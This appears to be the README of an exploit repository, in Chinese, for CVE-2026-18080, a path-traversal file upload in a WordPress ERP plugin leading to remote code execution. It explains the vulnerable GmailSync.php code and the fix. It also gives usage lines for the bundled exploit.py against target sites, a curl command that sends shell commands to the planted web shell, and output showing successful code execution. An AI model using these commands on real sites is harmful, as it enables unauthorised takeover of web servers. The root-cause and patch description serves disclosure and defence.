
CVE-2026-18080 的漏洞利用程序,该漏洞是 ERP Complete HR、Accounting & CRM Suite 中未经身份验证的任意文件上传,可导致远程代码执行(RCE)。包含用于自动化利用的 Python 和 PHP 脚本。
| 字段 | 值 |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| 补丁 | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8(严重) |
| CWE | CWE-434(危险类型文件的不受限制上传) |
| 受影响版本 | ERP 插件版本 <= 1.17.7(已在 1.17.8 中修复) |
ERP 插件中 GmailSync.php 的 save_attachments() 函数在处理来自 IMAP 的入站邮件附件时未进行路径规范化。攻击者可以构造一封包含类似 ../../plugins/shell.php 文件名的邮件,并伪造与插件预期模式匹配的 References 头。基于 cron 的 IMAP 同步任务会将文件写入受 .htaccess 保护的 crm-attachments/ 目录之外,进入 wp-content/ 下任何可写路径。
在 GmailSync.php(v1.17.7)中:
$name = $item['name']; // 没有 basename() 或路径规范化
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
文件名 ../../plugins/shell.php 与 $dir(wp-content/uploads/crm-attachments/)拼接后解析为 wp-content/plugins/shell.php —— 一个允许执行 PHP 的目录。
修复版本(v1.17.8)添加了 sanitize_attachment_filename(),该函数通过 basename() 去除目录组件,拒绝路径分隔符,并阻止危险扩展名。
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
上传成功后:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| 文件 | 描述 |
|---|---|
exploit.py | 使用 wp-cli 的 Python 利用脚本 |
exploit.php | 用于 wp eval-file 的独立 PHP 利用脚本 |
README.md | 本文件 |